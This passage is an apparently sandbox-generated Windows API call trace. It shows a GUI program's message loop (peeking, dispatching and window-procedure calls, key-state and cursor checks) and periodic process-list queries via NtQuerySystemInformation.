lpMsg=0xb6f0bc) returned 1 [0168.558] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1017a, Msg=0x84, wParam=0x0, lParam=0x226035b) returned 0x1 [0168.558] SetCursor (hCursor=0x10003) returned 0x10003 [0168.558] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0168.558] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0168.558] _TrackMouseEvent (in: lpEventTrack=0x2c03ecc | out: lpEventTrack=0x2c03ecc) returned 1 [0168.558] SendMessageW (hWnd=0x1017a, Msg=0xc120, wParam=0x0, lParam=0x0) returned 0x0 [0168.558] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1017a, Msg=0xc120, wParam=0x0, lParam=0x0) returned 0x0 [0168.558] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1017a, Msg=0x200, wParam=0x0, lParam=0xd001d) returned 0x0 [0168.558] GetKeyState (nVirtKey=1) returned 0 [0168.559] GetKeyState (nVirtKey=2) returned 0 [0168.559] GetKeyState (nVirtKey=4) returned 0 [0168.559] GetKeyState (nVirtKey=5) returned 0 [0168.559] GetKeyState (nVirtKey=6) returned 0 [0168.559] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0168.559] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0168.559] WaitMessage () returned 1 [0168.664] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0168.664] IsWindowUnicode (hWnd=0x1017a) returned 1 [0168.664] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0168.664] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0168.664] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0168.664] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0168.664] IsWindowUnicode (hWnd=0x1017a) returned 1 [0168.664] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0168.664] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0168.664] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0168.665] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1017a, Msg=0x2a1, wParam=0x0, lParam=0xd001d) returned 0x0 [0168.665] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0168.665] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0168.665] WaitMessage () returned 1 [0169.022] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0169.022] IsWindowUnicode (hWnd=0x10166) returned 1 [0169.022] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0169.022] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0169.022] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0169.023] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0169.023] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0169.023] WaitMessage () returned 1 [0169.537] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0169.537] IsWindowUnicode (hWnd=0x1015c) returned 1 [0169.537] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0169.537] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0169.537] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0169.537] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3a894b0, Length=0x20000, ResultLength=0xb6ed10 | out: SystemInformation=0x3a894b0, ResultLength=0xb6ed10*=0x7688) returned 0x0 [0169.546] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0169.546] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0169.546] WaitMessage () returned 1 [0169.558] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0169.558] IsWindowUnicode (hWnd=0x1017a) returned 1 [0169.558] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0169.558] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0169.558] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0169.558] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1017a, Msg=0x2a3, wParam=0x0, lParam=0x0) returned 0x0 [0169.558] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0169.558] IsWindowUnicode (hWnd=0x10166) returned 1 [0169.558] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0169.558] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0169.558] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0169.558] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0169.558] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0169.558] WaitMessage () returned 1 [0170.083] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0170.083] IsWindowUnicode (hWnd=0x10166) returned 1 [0170.083] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0170.083] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0170.083] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0170.083] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0170.084] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0170.084] WaitMessage () returned 1 [0170.574] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0170.575] MapWindowPoints (in: hWndFrom=0x10170, hWndTo=0x0, lpPoints=0xb6ed50, cPoints=0x2 | out: lpPoints=0xb6ed50) returned 27591156 [0170.579] IsWindowUnicode (hWnd=0x10170) returned 1 [0170.579] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0170.579] MapWindowPoints (in: hWndFrom=0x10170, hWndTo=0x0, lpPoints=0xb6ed90, cPoints=0x2 | out: lpPoints=0xb6ed90) returned 27591156 [0170.579] SetCursor (hCursor=0x10003) returned 0x10003 [0170.579] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0170.579] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0170.580] _TrackMouseEvent (in: lpEventTrack=0x2c13764 | out: lpEventTrack=0x2c13764) returned 1 [0170.580] SendMessageW (hWnd=0x10170, Msg=0xc120, wParam=0x0, lParam=0x0) returned 0x0 [0170.580] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10170, Msg=0xc120, wParam=0x0, lParam=0x0) returned 0x0 [0170.580] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10170, Msg=0x200, wParam=0x0, lParam=0x10016) returned 0x0 [0170.581] GetKeyState (nVirtKey=1) returned 0 [0170.581] GetKeyState (nVirtKey=2) returned 0 [0170.581] GetKeyState (nVirtKey=4) returned 0 [0170.581] GetKeyState (nVirtKey=5) returned 0 [0170.581] GetKeyState (nVirtKey=6) returned 0 [0170.581] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0170.581] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0170.581] WaitMessage () returned 1 [0170.629] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0170.629] IsWindowUnicode (hWnd=0x10166) returned 1 [0170.629] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0170.629] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0170.629] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0170.629] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0170.629] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0170.629] WaitMessage () returned 1 [0170.676] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0170.676] IsWindowUnicode (hWnd=0x10170) returned 1 [0170.676] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0170.676] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0170.676] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0170.676] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0170.676] IsWindowUnicode (hWnd=0x10170) returned 1 [0170.676] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0170.676] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0170.676] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0170.676] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10170, Msg=0x2a1, wParam=0x0, lParam=0x10016) returned 0x0 [0170.676] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0170.676] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0170.677] WaitMessage () returned 1 [0171.160] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0171.160] IsWindowUnicode (hWnd=0x10166) returned 1 [0171.160] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0171.160] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0171.160] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0171.160] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0171.160] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0171.160] WaitMessage () returned 1 [0171.565] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0171.565] IsWindowUnicode (hWnd=0x1015c) returned 1 [0171.565] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0171.565] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0171.565] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0171.566] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3a894b0, Length=0x20000, ResultLength=0xb6ed10 | out: SystemInformation=0x3a894b0, ResultLength=0xb6ed10*=0x7688) returned 0x0 [0171.577] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0171.577] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0171.577] WaitMessage () returned 1 [0171.603] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0171.603] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0171.603] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0171.603] IsWindowUnicode (hWnd=0x10170) returned 1 [0171.603] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0171.603] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0171.603] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0171.603] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10170, Msg=0x2a3, wParam=0x0, lParam=0x0) returned 0x0 [0171.603] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0171.603] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0171.603] WaitMessage () returned 1 [0171.690] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0171.690] IsWindowUnicode (hWnd=0x10166) returned 1 [0171.690] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0171.690] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0171.690] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0171.690] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0171.690] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0171.690] WaitMessage () returned 1 [0172.220] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0172.220] IsWindowUnicode (hWnd=0x10166) returned 1 [0172.221] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0172.221] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0172.221] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0172.221] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0172.221] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0172.221] WaitMessage () returned 1 [0172.751] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0172.751] IsWindowUnicode (hWnd=0x10166) returned 1 [0172.751] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0172.751] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0172.751] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0172.751] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0172.751] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0172.751] WaitMessage () returned 1 [0173.281] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0173.281] IsWindowUnicode (hWnd=0x10166) returned 1 [0173.281] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0173.281] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0173.281] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0173.281] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0173.281] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0173.282] WaitMessage () returned 1 [0173.577] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0173.578] IsWindowUnicode (hWnd=0x1015c) returned 1 [0173.578] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0173.578] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0173.578] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0173.578] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3a894b0, Length=0x20000, ResultLength=0xb6ed10 | out: SystemInformation=0x3a894b0, ResultLength=0xb6ed10*=0x76c8) returned 0x0 [0173.579] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0173.579] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0173.579] WaitMessage () returned 1 [0173.842] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0173.842] IsWindowUnicode (hWnd=0x10166) returned 1 [0173.842] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0173.842] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0173.842] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0173.842] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0173.842] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0173.842] WaitMessage () returned 1 [0174.357] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0174.357] IsWindowUnicode (hWnd=0x10166) returned 1 [0174.358] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0174.358] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0174.358] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0174.358] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0174.358] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0174.358] WaitMessage () returned 1 [0174.888] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0174.888] IsWindowUnicode (hWnd=0x10166) returned 1 [0174.888] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0174.888] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0174.888] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0174.888] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0174.888] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0174.888] WaitMessage () returned 1 [0175.418] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0175.418] IsWindowUnicode (hWnd=0x10166) returned 1 [0175.418] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0175.418] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0175.418] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0175.419] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0175.419] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0175.419] WaitMessage () returned 1 [0175.590] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0175.590] IsWindowUnicode (hWnd=0x1015c) returned 1 [0175.590] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0175.590] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0175.590] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0175.590] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3a894b0, Length=0x20000, ResultLength=0xb6ed10 | out: SystemInformation=0x3a894b0, ResultLength=0xb6ed10*=0x76c8) returned 0x0 [0175.592] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0175.592] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0175.592] WaitMessage () returned 1 [0175.610] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0175.610] MapWindowPoints (in: hWndFrom=0x10172, hWndTo=0x0, lpPoints=0xb6ed50, cPoints=0x2 | out: lpPoints=0xb6ed50) returned 21103092 [0175.611] IsWindowUnicode (hWnd=0x10172) returned 1 [0175.611] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0175.611] MapWindowPoints (in: hWndFrom=0x10172, hWndTo=0x0, lpPoints=0xb6ed90, cPoints=0x2 | out: lpPoints=0xb6ed90) returned 21103092 [0175.611] SetCursor (hCursor=0x10003) returned 0x10003 [0175.611] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0175.611] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0175.611] _TrackMouseEvent (in: lpEventTrack=0x2c42178 | out: lpEventTrack=0x2c42178) returned 1 [0175.611] SendMessageW (hWnd=0x10172, Msg=0xc120, wParam=0x0, lParam=0x0) returned 0x0 [0175.611] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10172, Msg=0xc120, wParam=0x0, lParam=0x0) returned 0x0 [0175.611] CallWindowProcW 